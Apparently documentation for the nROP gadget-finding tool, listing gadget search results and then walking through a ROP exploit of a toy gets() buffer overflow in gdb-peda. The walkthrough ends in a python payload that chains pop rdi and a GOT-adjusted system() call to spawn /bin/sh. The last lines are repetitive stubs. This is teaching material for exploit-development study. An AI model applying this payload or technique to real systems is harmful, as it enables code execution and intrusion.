The simplest form of ga is two chains, as ROP chains, do the same thing.
A sample binary containing optiROP tricky chains is included in the examples directory of the github repository. We will use this binary to underline different type of gadgets handled by nROP, and corresponding to the categories of gadgets identified by @aquynh.
The first category of gadgets sets a register to another register.
Command to launch:
% ./packer -t 4889d8c3 examples/opti
Results
[X] add byte ptr [rax], al ; add byte ptr [rdi], cl ; add eax, 0xc3d88948 ; xchg rbx, rax ; ret ;
[X] add byte ptr [rdi], cl ; add eax, 0xc3d88948 ; xchg rbx, rax ; ret ;
[X] add eax, 0xc3d88948 ; xchg rbx, rax ; ret ;
[X] fadd st0, st3 ; xchg rbx, rax ; ret ;
[X] fadd st0, st3 ; xchg rcx, rbx ; xchg rcx, rax ; ret ;
[X] fadd st0, st3 ; xor rax, rax ; not rax ; and rax, rbx ; ret ;
[X] imul rax, rbx, 0x1 ; ret ;
[X] mov rax, rbx ; ret ;
[X] push rbx ; xor rax, rax ; pop rax ; ret ;
[X] rcr byte ptr [rsi+0x48], 0x1 ; fadd st0, st3 ; xor rax, rax ; not rax ; and rax, rbx ; ret ;
[X] ror byte ptr [rax+0x21], 0x1 ; fadd st0, st3 ; xchg rcx, rbx ; xchg rcx, rax ; ret ;
[X] xchg rbx, rax ; ret ;
[X] xchg rcx, rbx ; lea rax, ptr [rcx] ; ret ;
[X] xchg rcx, rbx ; xchg rcx, rax ; ret ;
[X] xor eax, eax ; add rax, rbx ; ret ;
[X] xor eax, eax ; not rax ; and rax, rbx ; ret ;
[X] xor rax, rax ; add rax, rbx ; ret ;
[X] xor rax, rax ; not rax ; and rax, rbx ; ret ;
The second category of gadgets sets a register to an immediate constant.
Command to launch:
% ./packer -t 48c7c034120000c3 examples/opti
Results
[X] push 0x1234 ; pop rax ; inc rbx ; ret ;
[X] push 0x1234 ; pop rbp ; xchg rbp, rax ; ret ;
[X] push 0xffffffffffffedcc ; pop rdx ; xor rax, rax ; sub rax, rdx ; ret ;
We take the first google result for "rop exploit" and use nrop to exploit it. The vulnerable code for this example is
#include <stdio.h>
int main()
{
char name[64];
printf("%p\n", name); // Print address of buffer.
puts("What's your name?");
gets(name);
printf("Hello, %s!\n", name);
return 0;
}
Then we compile and load the binary into gdb with [peda][https://github.com/longld/peda].
% gcc bla.c -o bla
% gdb -q --args bla
Reading symbols from bla...(no debugging symbols found)...done.
gdb-peda$ pattc 128 /tmp/bla
Writing pattern of 128 chars to filename "/tmp/bla"
gdb-peda$ r < /tmp/bla
Starting program: /tmp/tmp.mysQza1R1X/bla < /tmp/bla
0x7fffffffddb0
What's your name?
Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AA...
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7fffff78
RDX: 0x7ffff7dd7970 --> 0x0
RSI: 0x7ffff7ff7000 ("Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA...
RDI: 0x0
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffddf8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
RIP: 0x4005e6 (<main+80>: ret)
R8 : 0x6941414d41413741 ('A7AAMAAi')
R9 : 0x80
R10: 0x414f41413941416a ('jAA9AAOA')
R11: 0x246
R12: 0x4004a0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffded0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005db <main+69>: call 0x400460 <printf@plt>
0x4005e0 <main+74>: mov eax,0x0
0x4005e5 <main+79>: leave
=> 0x4005e6 <main+80>: ret
0x4005e7: nop WORD PTR [rax+rax*1+0x0]
0x4005f0 <__libc_csu_init>: push r15
0x4005f2 <__libc_csu_init+2>: push r14
0x4005f4 <__libc_csu_init+4>: mov r15d,edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
0008| 0x7fffffffde00 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
0016| 0x7fffffffde08 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
0024| 0x7fffffffde10 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
0032| 0x7fffffffde18 ("A7AAMAAiAA8AANAAjAA9AAOA")
0040| 0x7fffffffde20 ("AA8AANAAjAA9AAOA")
0048| 0x7fffffffde28 ("jAA9AAOA")
0056| 0x7fffffffde30 --> 0x400400 --> 0x6009f0 --> 0x7ffff7aa1940 (<gets>: push r12)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005e6 in main ()
And we look for our pattern in memory
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 104
R10+0 found at offset: 120
RBP+0 found at offset: 64
Registers point to pattern buffer:
[RSP] --> offset 72 - size ~56
Pattern buffer found at:
0x00007ffff7ff6000 : offset 0 - size 128 (mapped)
0x00007ffff7ff7007 : offset 0 - size 128 (mapped)
0x00007fffffffdd18 : offset 88 - size 8 ($sp + -0xe0 [-56 dwords])
0x00007fffffffddb0 : offset 0 - size 128 ($sp + -0x48 [-18 dwords])
References to pattern buffer found at:
0x00007ffff7dd5988 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd5990 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd5998 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd59a0 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd59a8 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd59b0 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007ffff7dd59b8 : 0x00007ffff7ff6000 (/usr/lib/libc-2.21.so)
0x00007fffffffd870 : 0x00007fffffffddb0 ($sp + -0x588 [-354 dwords])
0x00007fffffffdce0 : 0x00007fffffffddb0 ($sp + -0x118 [-70 dwords])
0x00007fffffffdcf8 : 0x00007fffffffddb0 ($sp + -0x100 [-64 dwords])
0x00007fffffffdd60 : 0x00007fffffffddb0 ($sp + -0x98 [-38 dwords])
The current memory layout is
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00401000 r-xp /tmp/tmp.mysQza1R1X/bla
0x00600000 0x00601000 rw-p /tmp/tmp.mysQza1R1X/bla
0x00007ffff7a38000 0x00007ffff7bd1000 r-xp /usr/lib/libc-2.21.so
0x00007ffff7bd1000 0x00007ffff7dd1000 ---p /usr/lib/libc-2.21.so
0x00007ffff7dd1000 0x00007ffff7dd5000 r--p /usr/lib/libc-2.21.so
0x00007ffff7dd5000 0x00007ffff7dd7000 rw-p /usr/lib/libc-2.21.so
0x00007ffff7dd7000 0x00007ffff7ddb000 rw-p mapped
0x00007ffff7ddb000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.21.so
0x00007ffff7fca000 0x00007ffff7fcd000 rw-p mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.21.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.21.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]
We will exploit with a conventional call to the system() function into libc with /bin/sh as the first argument, here into the RDI register. The target for our exploit is
rdi = &"/bin/sh"
rip = &system@libc
The /bin/sh string can be written on the stack directly and the address pop'd. Our first guess is with the freshly created binary
% ~/Outils/nrop/nrop/packer -t 5fc3 /tmp/tmp.mysQza1R1X/bla
Found Entry @4004a0
000000: \x5f\xc3 _.
000000: \xc3 .
[00400653] pop rdi ; ret ;
Then we grab the system@libc address, by adjusting a got address with the offset of system in the libc (to somehow bypass ASLR)
gdb-peda$ p puts
$1 = {<text variable, no debug info>} 0x7ffff7aa21e0 <puts>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a777e0 <system>
gdb-peda$ p $1 - $2
$3 = 0x2aa00
We want to write &system at 0x6009d0 and set eip to 0x400450
gdb-peda$ disassemble
Dump of assembler code for function main:
0x0000000000400596 <+0>: push rbp
0x0000000000400597 <+1>: mov rbp,rsp
0x000000000040059a <+4>: sub rsp,0x40
0x000000000040059e <+8>: lea rax,[rbp-0x40]
0x00000000004005a2 <+12>: mov rsi,rax
0x00000000004005a5 <+15>: mov edi,0x400674
0x00000000004005aa <+20>: mov eax,0x0
0x00000000004005af <+25>: call 0x400460 <printf@plt>
0x00000000004005b4 <+30>: mov edi,0x400678
0x00000000004005b9 <+35>: call 0x400450 <puts@plt>
0x00000000004005be <+40>: lea rax,[rbp-0x40]
0x00000000004005c2 <+44>: mov rdi,rax
0x00000000004005c5 <+47>: call 0x400490 <gets@plt>
0x00000000004005ca <+52>: lea rax,[rbp-0x40]
0x00000000004005ce <+56>: mov rsi,rax
0x00000000004005d1 <+59>: mov edi,0x40068a
0x00000000004005d6 <+64>: mov eax,0x0
0x00000000004005db <+69>: call 0x400460 <printf@plt>
0x00000000004005e0 <+74>: mov eax,0x0
0x00000000004005e5 <+79>: leave
=> 0x00000000004005e6 <+80>: ret
End of assembler dump.
gdb-peda$ disassemble 0x400450
Dump of assembler code for function puts@plt:
0x0000000000400450 <+0>: jmp QWORD PTR [rip+0x20057a] # 0x6009d0 <puts@got.plt>
0x0000000000400456 <+6>: push 0x0
0x000000000040045b <+11>: jmp 0x400440
End of assembler dump.
gdb-peda$ disassemble 0x6009d0
Dump of assembler code for function puts@got.plt:
0x00000000006009d0 <+0>: loopne 0x6009f3 <gets@got.plt+3>
0x00000000006009d2 <+2>: stos BYTE PTR es:[rdi],al
0x00000000006009d3 <+3>: idiv edi
0x00000000006009d5 <+5>: jg 0x6009d7 <puts@got.plt+7>
0x00000000006009d7 <+7>: add BYTE PTR [rax-0x85790],ah
End of assembler dump.
gdb-peda$ x/xg 0x6009d0
0x6009d0 <puts@got.plt>: 0x00007ffff7aa21e0
Our exploit is in the pseudo form
"A"*72 + pop rdi + "/bin/sh" + ([0x6009d0] += 0x2aa00) + ret(0x400450
Weaponized in python with
python2 -c 'print "A"*72 + "\x53\x06\x40\x00\x00\x00\x00\x00" + "hs//bin/" + "\xe0\x77\xa7\xf7\xff\x7f\x00\x00"' > /tmp/bla
gdb -q ./bla
Support coming :)
This category of gadgets is close to PN1, setting register to another, but with the help of gadget chaining.
This category of gadgets is close to PN2, setting register to another, but with the help of gadget chaining.
This category of gadgets is close to PN3, setting register to another, but with the help of gadget chaining.